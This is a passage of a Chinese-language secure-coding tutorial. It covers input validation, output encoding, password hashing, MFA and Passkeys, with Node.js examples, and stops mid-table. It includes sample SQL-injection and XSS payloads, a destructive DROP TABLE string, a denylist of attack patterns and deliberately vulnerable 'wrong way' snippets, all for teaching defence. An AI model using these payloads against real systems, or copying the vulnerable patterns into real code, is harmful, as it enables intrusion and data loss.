function validateLength(field, value) {
  const limit = LENGTH_LIMITS[field];
  if (!limit) throw new Error(<code class="kb-btn">未定義的欄位: ${field}</code>);
  if (value.length < limit.min || value.length > limit.max) {
    throw new Error(<code>${field} 長度須為 ${limit.min}-${limit.max} 字</code>);
  }
  return value;
}

策略四:範圍與邊界驗證(Range & Boundary)

確認數值在合理範圍內。

// ✅ 商品價格與數量的邊界驗證
app.post('/api/orders',
  body('quantity')
    .isInt({ min: 1, max: 99 })
    .withMessage('購買數量須為 1-99'),
  body('price')
    .isFloat({ min: 0.01, max: 9999999.99 })
    .withMessage('價格範圍不正確'),
  body('discount')
    .optional()
    .isFloat({ min: 0, max: 1 })
    .withMessage('折扣須為 0-1 之間'),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }

    // ✅ 業務邏輯層的額外驗證
    const { quantity, price, discount } = req.body;
    const totalAmount = quantity * price * (1 - (discount || 0));

    // 防止計算後金額異常(如負數或超大數值)
    if (totalAmount <= 0 || totalAmount > 10000000) {
      return res.status(400).json({ error: '訂單金額異常' });
    }
    // 安全處理...
  }
);

策略五:黑名單過濾(Denylist)— 最不推薦,但有時是補充

阻擋已知的危險模式。這是最弱的防禦,因為攻擊者總能找到新的繞過方式,但作為補充手段仍有價值。

// ⚠️ 黑名單只能作為「補充」,不能作為唯一防線
const DANGEROUS_PATTERNS = [
  /(<script[\s>])/gi,          // 基本 XSS
  /(javascript\s*:)/gi,        // JavaScript 偽協定
  /(on\w+\s*=)/gi,             // 事件處理器
  /(union\s+select)/gi,        // SQL Injection
  /(\.\.\/)|(\.\.\\)/g,        // Path Traversal
];

function containsDangerousPattern(input) {
  return DANGEROUS_PATTERNS.some(pattern => pattern.test(input));
}

// ⚠️ 注意:這不能取代參數化查詢和輸出編碼!
// 它只是多一層「告警」機制
if (containsDangerousPattern(userInput)) {
  logger.warn('偵測到可疑輸入', { input: userInput, ip: req.ip });
  // 可以選擇拒絕,或繼續處理但加強監控
}

2.4 前端驗證 vs. 後端驗證:為什麼只做前端不夠?

這是新手最常犯的錯誤之一:「我前端有用 JavaScript 驗證了,應該沒問題吧?」

面向 前端驗證 後端驗證
目的 提升使用者體驗 真正的安全防線
可被繞過? 可以(用 DevTools、Postman、curl) 不行(除非伺服器有漏洞)
速度 即時回饋,不需等伺服器 需要一次請求
必要性 建議有,但非必須 絕對必須
// ❌ 只有前端驗證 = 沒有驗證
// 攻擊者可以直接用 curl 繞過前端
// curl -X POST http://your-api.com/login -d '{"email":"' OR 1=1--"}'

// ✅ 前端驗證 + 後端驗證 = 正確做法
// 前端:即時回饋使用者
// 後端:真正的安全關卡

飛飛觀點:
把前端驗證想成餐廳門口的菜單提示:「本店不賣酒」。正常客人看到會自動遵守。但如果有人硬要帶酒進來,你總不能只靠門口的告示牌擋吧?你需要服務生在入場時真正檢查——這就是後端驗證。


三、輸出編碼:防止你的資料被「誤解」為指令

3.1 為什麼輸入驗證做好了,還需要輸出編碼?

想像你收到一封信,內容寫著:「請把門打開」。如果這封信是你朋友寫的,你可能會照做。但如果這封信是有人偽造的呢?

在軟體世界裡,資料和指令的邊界非常脆弱。你以為存在資料庫裡的是一段文字,但當這段文字被放到 HTML 頁面上時,瀏覽器可能把它當成程式碼來執行。

這就是 XSS(跨站腳本攻擊)的本質:攻擊者的輸入被當成了指令

輸出編碼的目的,就是確保資料永遠被當作資料,而不會被誤解為指令

3.2 不同的輸出環境,需要不同的編碼方式

這是一個非常重要但經常被忽略的觀念:同一筆資料,放在不同的環境中,需要不同的編碼方式

輸出環境 危險所在 編碼方式 範例
HTML 內容 <code><script></code> 會被執行 HTML Entity 編碼 <code><</code> → <code><</code>
HTML 屬性 <code>" onmouseover="alert(1)</code> 可注入事件 HTML Attribute 編碼 <code>"</code> → <code>"</code>
JavaScript 字串中的 <code>'</code> 可跳脫字串邊界 JavaScript 編碼 <code>'</code> → <code>\x27</code>
URL 特殊字元改變 URL 結構 URL 編碼 <code>&</code> → <code>%26</code>
CSS <code>expression()</code> 可執行 JS CSS 編碼 移除 <code>expression</code>、<code>url()</code>
SQL <code>'</code> 可跳脫字串邊界 參數化查詢(不是編碼) 使用 Prepared Statement

讓我用蓋房子的比喻來說明:你買了一桶水泥(資料),要把它用在不同地方。砌牆的水泥要加粗砂(HTML 編碼),填地基的水泥要加碎石(SQL 參數化),做裝飾面的水泥要加細砂(JavaScript 編碼)。同一種原料,用途不同,處理方式就不同。

3.3 HTML 輸出編碼:防止 XSS 的第一道防線

const he = require('he');

// ✅ 方法一:使用 he 套件做 HTML Entity 編碼
function escapeHTML(input) {
  return he.encode(input);
}

// 範例
const userComment = '<script>alert("XSS")</script>';
const safeComment = escapeHTML(userComment);
// 輸出:<script>alert("XSS")</script>
// 瀏覽器會顯示文字,而非執行腳本

// ✅ 方法二:使用模板引擎的自動轉義(推薦)
// EJS 預設會轉義
// <%= userComment %>     ← 會自動 HTML 編碼(安全)
// <%- userComment %>     ← 不會編碼(危險!除非你確定內容安全)

// ✅ 方法三:使用 DOMPurify 做 HTML 清理(允許部分 HTML 時使用)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

function sanitizeHTML(dirty) {
  return DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'title'],
  });
}

// 範例:允許部分格式化標籤,但移除危險內容
const richComment = '<b>好評</b><script>alert("hack")</script><a href="javascript:alert(1)">連結</a>';
const cleanComment = sanitizeHTML(richComment);
// 輸出:<b>好評</b><a>連結</a>
// script 被移除,javascript: 偽協定被清除

3.4 SQL 注入防禦:參數化查詢,不是字串拼接

SQL Injection 是史上最經典的注入攻擊。防禦方式不是「編碼」,而是從根本上把資料和指令分開——使用參數化查詢。

const { Pool } = require('pg');
const pool = new Pool();

// ❌ 危險寫法:字串拼接(SQL Injection 的溫床)
app.get('/api/products', async (req, res) => {
  const category = req.query.category;
  // 攻擊者可以輸入:' OR 1=1; DROP TABLE products; --
  const result = await pool.query(
    <code>SELECT * FROM products WHERE category = '${category}'</code>
  );
  res.json(result.rows);
});

// ✅ 安全寫法:參數化查詢
app.get('/api/products', async (req, res) => {
  const category = req.query.category;
  const result = await pool.query(
    'SELECT * FROM products WHERE category = $1',
    [category]  // 資料和指令完全分離
  );
  res.json(result.rows);
});

// ✅ 使用 ORM(Sequelize)也是安全的
const products = await Product.findAll({
  where: { category: req.query.category }  // ORM 會自動參數化
});

// ❌ 但注意!ORM 的 raw query 一樣危險
// 避免這樣寫:
const [results] = await sequelize.query(
  <code>SELECT * FROM products WHERE category = '${category}'</code>  // 又回到字串拼接了!
);

// ✅ ORM 的 raw query 安全寫法
const [results] = await sequelize.query(
  'SELECT * FROM products WHERE category = :category',
  { replacements: { category: req.query.category } }
);

3.5 JavaScript 輸出環境的編碼

當你需要將使用者資料嵌入 JavaScript 程式碼中時:

// ❌ 危險寫法:直接嵌入
app.get('/profile', (req, res) => {
  const username = req.user.name; // 可能包含 '; alert('XSS'); //
  res.send(`
    <script>
      var username = '${username}';  // 攻擊者可以跳脫字串
    </script>
  `);
});

// ✅ 安全寫法:使用 JSON.stringify + HTML 編碼
app.get('/profile', (req, res) => {
  const username = req.user.name;
  // JSON.stringify 會正確轉義引號和特殊字元
  const safeData = JSON.stringify(username)
    .replace(/</g, '\\u003c')    // 防止 </script> 閉合標籤
    .replace(/>/g, '\\u003e')
    .replace(/&/g, '\\u0026');

  res.send(`
    <script>
      var username = ${safeData};
    </script>
  `);
});

// ✅ 更推薦:使用 data attribute + JavaScript 讀取
app.get('/profile', (req, res) => {
  const username = he.encode(req.user.name);
  res.send(`
    <div id="profile" data-username="${username}"></div>
    <script>
      var username = document.getElementById('profile').dataset.username;
    </script>
  `);
});

3.6 URL 編碼

// ❌ 危險寫法:直接拼接 URL
const redirectUrl = req.query.returnTo;
res.redirect(redirectUrl);  
// 攻擊者可以輸入:javascript:alert(1) 或 https://evil.com

// ✅ 安全寫法:驗證 + 編碼
function safeRedirect(req, res) {
  const returnTo = req.query.returnTo;

  // 1. 白名單驗證:只允許自家網域
  const ALLOWED_HOSTS = ['www.mystore.com.tw', 'mystore.com.tw'];

  try {
    const url = new URL(returnTo, 'https://mystore.com.tw');
    if (!ALLOWED_HOSTS.includes(url.hostname)) {
      return res.redirect('/');  // 不在白名單,導回首頁
    }
    // 2. 只允許 HTTPS
    if (url.protocol !== 'https:') {
      return res.redirect('/');
    }
    res.redirect(url.toString());
  } catch (e) {
    res.redirect('/');  // URL 解析失敗,導回首頁
  }
}

四、實戰案例:台灣電商平台的商品評論功能

讓我們用一個完整的台灣場景,從頭到尾走一遍輸入驗證與輸出編碼的實作。

場景描述

你正在為一個台灣電商平台開發「商品評論」功能。使用者可以為購買過的商品留下文字評論和星等評分。

Step 1:列出所有輸入來源

輸入 型別 範圍 來源
productId 整數 > 0 URL 參數
rating 整數 1-5 Request Body
comment 字串 1-2000 字 Request Body
userId 整數 > 0 JWT Token(伺服器端解析)

Step 2:定義驗證規則

const express = require('express');
const { body, param, validationResult } = require('express-validator');
const he = require('he');
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);

const app = express();
app.use(express.json({ limit: '10kb' }));  // 限制 body 大小

// 評論的驗證規則
const reviewValidation = [
  param('productId')
    .isInt({ min: 1 })
    .withMessage('商品 ID 格式錯誤'),
  body('rating')
    .isInt({ min: 1, max: 5 })
    .withMessage('評分須為 1-5 的整數'),
  body('comment')
    .trim()
    .isLength({ min: 1, max: 2000 })
    .withMessage('評論內容須為 1-2000 字')
    .customSanitizer(value => {
      // 移除所有 HTML 標籤(評論不需要 HTML 格式)
      return DOMPurify.sanitize(value, { ALLOWED_TAGS: [] });
    }),
];

Step 3:完整的 API 實作

const { Pool } = require('pg');
const pool = new Pool();

app.post('/api/products/:productId/reviews',
  authenticateToken,     // 驗證 JWT(你是誰)
  reviewValidation,      // 輸入驗證(你給的資料合法嗎)
  async (req, res) => {
    // 檢查驗證結果
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ 
        error: '輸入驗證失敗',
        details: errors.array().map(e => e.msg)
      });
    }

    const productId = parseInt(req.params.productId);
    const { rating, comment } = req.body;
    const userId = req.user.id;  // 從已驗證的 JWT 取得

    try {
      // 業務邏輯驗證:使用者是否購買過此商品
      const purchaseCheck = await pool.query(
        'SELECT id FROM orders WHERE user_id = $1 AND product_id = $2 AND status = $3',
        [userId, productId, 'completed']
      );

      if (purchaseCheck.rows.length === 0) {
        return res.status(403).json({ error: '只有購買過的客戶可以評論' });
      }

      // 業務邏輯驗證:是否已經評論過
      const existingReview = await pool.query(
        'SELECT id FROM reviews WHERE user_id = $1 AND product_id = $2',
        [userId, productId]
      );

      if (existingReview.rows.length > 0) {
        return res.status(409).json({ error: '您已經評論過此商品' });
      }

      // ✅ 使用參數化查詢寫入資料庫
      const result = await pool.query(
        `INSERT INTO reviews (user_id, product_id, rating, comment, created_at)
         VALUES ($1, $2, $3, $4, NOW())
         RETURNING id, rating, comment, created_at`,
        [userId, productId, rating, comment]
      );

      // 記錄日誌(不包含評論全文,避免日誌過大)
      logger.info('新評論建立', { 
        reviewId: result.rows[0].id,
        userId, 
        productId,
        rating 
      });

      res.status(201).json({ 
        message: '評論已送出',
        review: result.rows[0]
      });

    } catch (error) {
      logger.error('評論建立失敗', { error: error.message, userId, productId });
      // ✅ 不洩露內部錯誤細節
      res.status(500).json({ error: '系統處理時發生錯誤,請稍後再試' });
    }
  }
);

Step 4:安全地顯示評論(輸出編碼)

// ✅ API 回傳評論列表時的輸出處理
app.get('/api/products/:productId/reviews', async (req, res) => {
  const productId = parseInt(req.params.productId);

  if (isNaN(productId) || productId < 1) {
    return res.status(400).json({ error: '商品 ID 格式錯誤' });
  }

  const result = await pool.query(
    `SELECT r.id, r.rating, r.comment, r.created_at, u.username
     FROM reviews r
     JOIN users u ON r.user_id = u.id
     WHERE r.product_id = $1
     ORDER BY r.created_at DESC
     LIMIT 50`,
    [productId]
  );

  // ✅ 輸出時再次編碼,作為最後一道防線
  const safeReviews = result.rows.map(review => ({
    id: review.id,
    rating: review.rating,
    comment: he.encode(review.comment),       // HTML 編碼
    username: he.encode(review.username),      // HTML 編碼
    createdAt: review.created_at,
  }));

  res.json({ reviews: safeReviews });
});

Step 5:前端安全顯示

// ✅ 前端使用 textContent 而非 innerHTML
function renderReview(review) {
  const reviewDiv = document.createElement('div');
  reviewDiv.className = 'review-card';

  const username = document.createElement('span');
  username.textContent = review.username;  // textContent 不會解析 HTML

  const comment = document.createElement('p');
  comment.textContent = review.comment;    // 安全!不會執行任何腳本

  const rating = document.createElement('span');
  rating.textContent = '⭐'.repeat(review.rating);

  reviewDiv.appendChild(username);
  reviewDiv.appendChild(rating);
  reviewDiv.appendChild(comment);

  return reviewDiv;
}

// ❌ 危險寫法:永遠不要這樣做
// reviewDiv.innerHTML = <code><p>${review.comment}</p></code>;
// 如果 comment 包含 <script>,就會被執行!

五、安全編碼 Checklist:輸入驗證與輸出編碼

把這份清單貼在你的工位上(或加進你的 Code Review checklist):

輸入驗證 Checklist

## 輸入驗證 Checklist

### 基本原則
- [ ] 所有輸入都在**伺服器端**進行驗證(前端驗證只是輔助)
- [ ] 使用**白名單**策略,而非黑名單
- [ ] 驗證失敗時,回傳通用錯誤訊息(不洩露系統細節)

### 各欄位驗證
- [ ] 驗證資料型別(字串、整數、布林)
- [ ] 驗證長度/大小限制
- [ ] 驗證格式(Email、電話、身分證、日期)
- [ ] 驗證數值範圍(最小值、最大值)
- [ ] 使用白名單限定可接受的值(下拉選單、排序欄位)

### 特殊輸入
- [ ] 檔案上傳:驗證 MIME Type + Magic Number(不只看副檔名)
- [ ] 檔案上傳:限制檔案大小
- [ ] URL 參數:驗證並限定可接受的路徑
- [ ] JSON/XML Body:限制 Request Body 大小
- [ ] JSON/XML Body:驗證資料結構(schema validation)

### 進階防護
- [ ] 對同一 IP 或帳號實施速率限制(Rate Limiting)
- [ ] 記錄驗證失敗的日誌(供資安監控使用)
- [ ] 多層驗證:API Gateway → 中間件 → 業務邏輯層

輸出編碼 Checklist

## 輸出編碼 Checklist

### 基本原則
- [ ] 根據**輸出環境**選擇正確的編碼方式
- [ ] 在資料**輸出時**編碼,而非輸入時(保留原始資料)
- [ ] 使用經過驗證的編碼函式庫,不要自己寫

### HTML 環境
- [ ] 使用者資料放入 HTML 內容時,進行 HTML Entity 編碼
- [ ] 使用者資料放入 HTML 屬性時,進行屬性編碼且加上引號
- [ ] 如需允許部分 HTML,使用 DOMPurify 做白名單清理
- [ ] 設定 Content-Security-Policy Header 限制 inline script

### JavaScript 環境
- [ ] 使用者資料放入 JS 字串時,用 JSON.stringify + 額外轉義
- [ ] 優先使用 data attribute 傳遞資料,避免直接嵌入 <script>

### SQL 環境
- [ ] 所有 SQL 查詢使用參數化查詢(Prepared Statement)
- [ ] ORM 的 raw query 也要使用參數化
- [ ] 絕對不使用字串拼接組合 SQL

### URL 環境
- [ ] 使用者資料放入 URL 時,進行 URL 編碼
- [ ] 重導向 URL 使用白名單驗證

### HTTP Header
- [ ] 設定 Content-Type 為正確的 MIME Type
- [ ] 設定 X-Content-Type-Options: nosniff
- [ ] 設定 Content-Security-Policy

六、團隊落地建議:讓安全編碼變成日常習慣

建議一:建立團隊的安全編碼規範文件

不要只是口頭說「大家要注意安全」。把規範寫成文件,放在 Git 裡面版本控制:

/project
  /docs
    secure-coding-standard.md   ← 團隊的安全編碼規範
  /src
    /middleware
      input-validator.js        ← 共用的輸入驗證中間件
      output-encoder.js         ← 共用的輸出編碼工具
    /config
      validation-rules.js       ← 各欄位的驗證規則定義

建議二:封裝共用的安全工具

把輸入驗證和輸出編碼封裝成團隊共用的工具,降低每個開發者「重新發明輪子」的機會:

// /src/utils/security.js — 團隊共用的安全工具
const he = require('he');
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);

const security = {
  // HTML 編碼
  encodeHTML(input) {
    if (typeof input !== 'string') return '';
    return he.encode(input);
  },

  // HTML 清理(允許部分標籤)
  sanitizeHTML(input, options = {}) {
    if (typeof input !== 'string') return '';
    return DOMPurify.sanitize(input, {
      ALLOWED_TAGS: options.allowedTags || ['b', 'i', 'em', 'strong', 'p', 'br'],
      ALLOWED_ATTR: options.allowedAttrs || [],
      ...options,
    });
  },

  // 純文字清理(移除所有 HTML)
  stripHTML(input) {
    if (typeof input !== 'string') return '';
    return DOMPurify.sanitize(input, { ALLOWED_TAGS: [] });
  },

  // 安全的 JSON 嵌入 HTML
  safeJSONEmbed(data) {
    return JSON.stringify(data)
      .replace(/</g, '\\u003c')
      .replace(/>/g, '\\u003e')
      .replace(/&/g, '\\u0026')
      .replace(/'/g, '\\u0027');
  },
};

module.exports = security;

建議三:在 Code Review 時加入安全檢查項目

在團隊的 Code Review 流程中,加入以下安全問題:

  1. 這段程式碼有接受外部輸入嗎?有做驗證嗎?
  2. 有使用字串拼接組合 SQL 嗎?
  3. 使用者資料有被輸出到 HTML/JS/URL 嗎?有做編碼嗎?
  4. 錯誤處理有洩露系統內部資訊嗎?

建議四:使用 ESLint 安全規則自動檢查

// .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    'security/detect-object-injection': 'warn',
    'security/detect-non-literal-regexp': 'warn',
    'security/detect-unsafe-regex': 'error',
    'security/detect-buffer-noassert': 'error',
    'security/detect-eval-with-expression': 'error',
    'security/detect-no-csrf-before-method-override': 'error',
    'security/detect-possible-timing-attacks': 'warn',
  },
};

建議五:設定 HTTP 安全標頭作為額外防線

const helmet = require('helmet');

app.use(helmet());

// 或者手動設定關鍵的安全標頭
app.use((req, res, next) => {
  // 防止 XSS:限制腳本來源
  res.setHeader('Content-Security-Policy', 
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");

  // 防止 MIME Type 嗅探
  res.setHeader('X-Content-Type-Options', 'nosniff');

  // 防止 Clickjacking
  res.setHeader('X-Frame-Options', 'DENY');

  // 強制 HTTPS
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

  next();
});

飛飛觀點:
安全編碼不是某一個人的責任,而是整個團隊的文化。當團隊有共用的安全工具、有 Code Review 的安全檢查項目、有自動化的靜態分析,安全編碼就不再是「額外的工作」,而是開發流程的自然一環。就像工地的安全帽——不是因為你膽小才戴,而是因為這是專業的基本。


七、常見問題 FAQ

Q1:輸入驗證應該在哪一層做?Controller?Service?還是 Middleware?

簡短回答:多層都做,各司其職。

  • Middleware / Controller 層:做格式驗證(型別、長度、格式),用 express-validator 之類的工具
  • Service / 業務邏輯層:做業務規則驗證(這個使用者有沒有購買過?庫存夠不夠?)
  • Database 層:用資料庫的 constraint(NOT NULL、UNIQUE、CHECK)作為最後一道防線

每一層的驗證目的不同。Middleware 擋住明顯的惡意輸入,Service 確保業務邏輯正確,Database 防止資料不一致。

Q2:輸出編碼應該在存入資料庫前做,還是輸出時再做?

答案是:輸出時再做。

存入資料庫時,盡量保留原始資料。原因有兩個:一是你不知道這筆資料未來會輸出到什麼環境(HTML?Email?PDF?手機 App?),不同環境需要不同的編碼方式;二是如果你在存入時就編碼了,日後要搜尋、排序、分析這些資料會很困難。

唯一的例外是:如果你確定這筆資料永遠只會在特定環境使用,且存入前做清理有明確的安全需求(例如用 DOMPurify 移除惡意 HTML),那可以在存入時先做一次清理。

Q3:我用了 React / Vue 這類前端框架,還需要擔心 XSS 嗎?

React 和 Vue 確實會在預設情況下對輸出做 HTML 編碼,這大幅降低了 XSS 的風險。但有幾個陷阱要注意:

  • React 的 <code>dangerouslySetInnerHTML</code> 不會做編碼(名字裡都有 dangerous 了)
  • Vue 的 <code>v-html</code> 不會做編碼
  • 將資料放入 <code>href</code>、<code>src</code> 等屬性時,<code>javascript:</code> 偽協定仍然危險
  • Server-Side Rendering(SSR)時的處理方式可能不同

所以,前端框架幫你擋了大部分,但不代表你可以完全不管。特別是後端 API 回傳的資料,不要假設前端一定會正確處理。

Q4:Vibe Coding 時代,AI 生成的程式碼安全嗎?

不一定安全。 AI 生成的程式碼經常會出現安全問題,特別是:

  • 直接用字串拼接 SQL(AI 為了「簡單」常這樣做)
  • API 回傳完整的資料庫物件(包含密碼欄位)
  • 缺少輸入驗證(AI 可能只生成「happy path」的程式碼)
  • 使用已知有漏洞的套件版本

建議:AI 生成的每一段程式碼,都要用本文的 Checklist 檢查一遍。把 AI 當成一個「很快但粗心的實習生」——它寫得很快,但你要負責審查。


八、結語:安全編碼是手藝,不是負擔

回到蓋房子的比喻。

沒有人會說:「用防火建材好麻煩,我們直接用保麗龍隔間比較快。」因為每個人都知道,建材不合格,房子蓋再快也沒用——一把火就全沒了。

安全編碼也是一樣。輸入驗證和輸出編碼看起來是「多做的工作」,但它們其實是在保護你已經投入的所有心血。你花了幾個月開發的功能,不應該因為一個 SQL Injection 就全部白費。

而且,安全編碼做得越多,你會發現一件事:它會讓你的程式碼品質變好。 當你養成驗證輸入的習慣,你自然會把邊界條件想得更清楚;當你養成輸出編碼的習慣,你自然會更理解不同環境的差異。

這些都是好工程師的基本功。

安全編碼不是給程式碼加鎖鏈,而是給程式碼穿上工作服——
它不會讓你動作變慢,反而會讓你更專業、更可靠。

下一篇,我們將繼續探索安全實作階段的進階主題——OWASP Top 10 防禦實戰指南。當你掌握了輸入驗證與輸出編碼的基本功,就可以進一步了解更多攻擊手法與對應的防禦策略。


延伸閱讀

[安全設計] 003 認證與授權架構設計實戰指南:從密碼到 Zero Trust|身份驗證、RBAC、ABAC 與 Node.js 程式碼範例

「門鎖決定你能不能進門;門禁卡的權限,決定你進得了哪幾個房間。
認證是驗身分,授權是給權限——搞混了,就會把不該進的人放進去。」
— SSDLC by 飛飛


一、認證與授權是什麼?為什麼你不能只靠一組帳密打天下?

在 SSDLC 的「蓋房子」旅程中,我們已經走過了安全需求定義(確認房子要防什麼)、威脅建模(找出小偷從哪進來)、安全設計原則(建築師的防禦哲學)。現在,我們要進入安全設計階段最實戰的主題——認證(Authentication)與授權(Authorization)

先用一個生活場景來分清楚這兩件事。

想像你走進一棟辦公大樓。大廳的保全要你刷員工證——這是認證,確認「你是誰」。你刷了卡,保全確認你是合法員工,讓你進入大樓。但這不代表你可以走進每間辦公室。你能進自己部門的樓層,卻不能刷進財務部的金庫——這是授權,決定「你能做什麼」。

在軟體系統中也一樣:

概念 英文 回答的問題 生活比喻
認證 Authentication(AuthN) 你是誰? 刷員工證進大樓
授權 Authorization(AuthZ) 你能做什麼? 只能進自己部門的樓層

這兩件事看似簡單,卻是 OWASP Top 10 中排名前三的重災區。A01:2021 — Broken Access Control(權限控制失效) 連續多年高居榜首,而 A07:2021 — Identification and Authentication Failures(認證失效) 也名列前茅。換句話說,全世界最常見的資安漏洞,就是「搞不清楚誰是誰」和「管不住誰能做什麼」。

飛飛觀點:
很多開發者花了大量時間防 SQL Injection 和 XSS,卻忘了最基本的事:你的系統真的確認了「這個請求是誰發的」嗎?他真的有權限做這件事嗎?把認證和授權做對,比擋住任何單一攻擊都重要。


二、認證機制選擇:從「你知道什麼」到「你是什麼」

認證的本質是回答一個問題:「你怎麼證明你是你?

根據認證因子(Authentication Factor)的不同,可以分成三大類:

認證因子 英文 說明 範例
你知道的東西 Something you know 只有你知道的秘密 密碼、PIN 碼、安全問題
你擁有的東西 Something you have 你持有的實體或數位物品 手機 OTP、硬體金鑰、智慧卡
你本身的特徵 Something you are 你的生物特徵 指紋、臉部辨識、虹膜掃描

單獨使用任何一種因子都不夠安全。密碼會被猜到、手機會被偷、指紋甚至可以被複製。所以現代系統的最佳實踐是多因素認證(MFA, Multi-Factor Authentication)——至少使用兩種不同類別的因子。

2.1 密碼:最古老也最脆弱的認證方式

密碼是最普遍的認證方式,也是最容易出問題的。以下是開發者在處理密碼時最常犯的錯誤:

常見錯誤 為什麼危險 正確做法
密碼明碼存資料庫 資料庫被入侵 = 所有密碼外洩 使用 Argon2id 或 bcrypt 雜湊
限制密碼長度上限為 8 碼 8 碼密碼可在數小時內被暴力破解 最低 12 碼,上限至少 64 碼
要求定期換密碼(每 90 天) 使用者只會在舊密碼後加 1、2、3 NIST 建議不再強制定期更換(SP 800-63B)
限制不能用特殊符號 縮小密碼空間,降低破解難度 允許所有 Unicode 字元
自己寫密碼雜湊邏輯 幾乎肯定有漏洞 使用成熟的函式庫

Node.js 密碼雜湊範例:

const argon2 = require('argon2');

// ✅ 註冊時:雜湊密碼
async function hashPassword(plainPassword) {
  return await argon2.hash(plainPassword, {
    type: argon2.argon2id,  // 使用 Argon2id 變體(抵抗 GPU 和 side-channel 攻擊)
    memoryCost: 65536,      // 64 MB 記憶體
    timeCost: 3,            // 迭代次數
    parallelism: 4          // 平行度
  });
}

// ✅ 登入時:驗證密碼
async function verifyPassword(plainPassword, hashedPassword) {
  return await argon2.verify(hashedPassword, plainPassword);
}

// ✅ 完整的登入流程
async function login(email, password) {
  const user = await db.query(
    'SELECT id, password_hash, login_attempts, locked_until FROM users WHERE email = $1',
    [email]
  );

  // 不管帳號存不存在,都要做雜湊比對(防止 Timing Attack)
  if (!user) {
    await argon2.hash('dummy-password');  // 花費相同時間
    return { success: false, message: '帳號或密碼錯誤' };
  }

  // 檢查帳號是否被鎖定
  if (user.locked_until && user.locked_until > new Date()) {
    return { success: false, message: '帳號已鎖定,請稍後再試' };
  }

  const isValid = await verifyPassword(password, user.password_hash);

  if (!isValid) {
    // 累加失敗次數,5 次後鎖定 15 分鐘
    await incrementLoginAttempts(user.id);
    await logSecurityEvent('LOGIN_FAILED', { userId: user.id, ip: req.ip });
    return { success: false, message: '帳號或密碼錯誤' };  // 不透露是帳號錯還是密碼錯
  }

  // 登入成功,重置失敗次數
  await resetLoginAttempts(user.id);
  await logSecurityEvent('LOGIN_SUCCESS', { userId: user.id, ip: req.ip });

  return { success: true, token: generateJWT(user) };
}

2.2 多因素認證(MFA):不要把所有雞蛋放在密碼這個籃子裡

密碼再強也可能被釣魚、被社交工程、被資料庫外洩。MFA 的價值在於:即使密碼被盜,攻擊者還需要突破另一道關卡。

常見的 MFA 方式比較:

MFA 方式 安全性 便利性 成本 適合場景
簡訊 OTP ⭐⭐ ⭐⭐⭐⭐ 一般會員系統(但注意 SIM Swap 攻擊)
TOTP(如 Google Authenticator) ⭐⭐⭐ ⭐⭐⭐ 免費 內部系統、開發者工具
推播通知(如 Duo、Line Notify) ⭐⭐⭐ ⭐⭐⭐⭐ 企業內部系統
FIDO2/WebAuthn(硬體金鑰、Passkey) ⭐⭐⭐⭐⭐ ⭐⭐⭐ 高安全需求(金融、管理員帳號)
Email OTP ⭐⭐ ⭐⭐ 免費 低風險操作的二次確認

飛飛觀點:
簡訊 OTP 很常見,但它並不像你以為的那麼安全。SIM Swap 攻擊(打電話給電信商假裝是你,把你的門號轉到攻擊者的 SIM 卡)在台灣已經有實際案例。如果你的系統處理金流或敏感資料,建議至少用 TOTP,最好支援 FIDO2/Passkey。

2.3 Passkey 與 FIDO2:密碼的終結者

Passkey 是 FIDO Alliance 推動的下一代認證標準,目標是徹底取代密碼。它的原理是:

  1. 使用者的裝置(手機、電腦)生成一對公私鑰
  2. 公鑰存在伺服器,私鑰留在裝置上
  3. 認證時,伺服器發出挑戰(Challenge),裝置用私鑰簽名回應
  4. 伺服器用公鑰驗證簽名

這意味著:伺服器上完全沒有密碼或密碼雜湊,就算資料庫被入侵,攻擊者也拿不到任何可以用來登入的東西。

// Passkey 註冊流程(使用 @simplewebauthn/server)
const { generateRegistrationOptions, verifyRegistrationResponse }
  = require('@simplewebauthn/server');

// 步驟一:產生註冊選項
app.post('/api/auth/passkey/register-options', async (req, res) => {
  const user = req.user;

  const options = await generateRegistrationOptions({
    rpName: '我的台灣電商',          // 你的服務名稱
    rpID: 'myshop.com.tw',          // 你的網域
    userID: user.id,
    userName: user.email,
    attestationType: 'none',         // 一般應用不需要硬體認證
    authenticatorSelection: {
      residentKey: 'preferred',      // 支援 Passkey(Discoverable Credential)
      userVerification: 'preferred'  // 偏好生物辨識驗證
    }
  });

  // 暫存 challenge,等驗證時比對
  await saveChallenge(user.id, options.challenge);
  res.json(options);
});

// 步驟二:驗證註冊結果
app.post('/api/auth/passkey/register-verify', async (req, res) => {
  const user = req.user;
  const expectedChallenge = await getChallenge(user.id);

  const verification = await verifyRegistrationResponse({
    response: req.body,
    expectedChallenge,
    expectedOrigin: 'https://myshop.com.tw',
    expectedRPID: 'myshop.com.tw'
  });

  if (verification.verified) {
    // 儲存公鑰,之後登入驗證用
    await savePasskey(user.id, verification.registrationInfo);
    res.json({ success: true });
  }
});

2.4 身份驗證機制選擇指南

面對這麼多認證方式,怎麼選?以下是根據不同場景的建議:

場景 建議認證方式 理由
一般電商會員 密碼 + Email OTP(敏感操作時) 平衡安全與便利
網路銀行 / 金融 App 密碼 + TOTP/推播 + 生物辨識 金管會要求,高風險場景
內部管理後台 SSO + MFA(TOTP 或硬體金鑰) 管理員帳號一旦被盜,影響全系統
API 服務對接 API Key + mTLS 機器對機器,不需要人類互動
微服務之間 JWT + Service Mesh mTLS 服務間信任建立
高安全需求(政府、軍事) FIDO2 硬體金鑰 + 智慧卡 最高安全等級

三、Token 機制:認證之後,怎麼「記住」你?

使用者通過認證後,系統需要一種方式來「記住」他已經登入了,不用每次操作都重新輸入密碼。這就是 Token 的角色。

3.1 Session vs. JWT:兩種主流方案

比較維度 Session(伺服器端) JWT(客戶端)
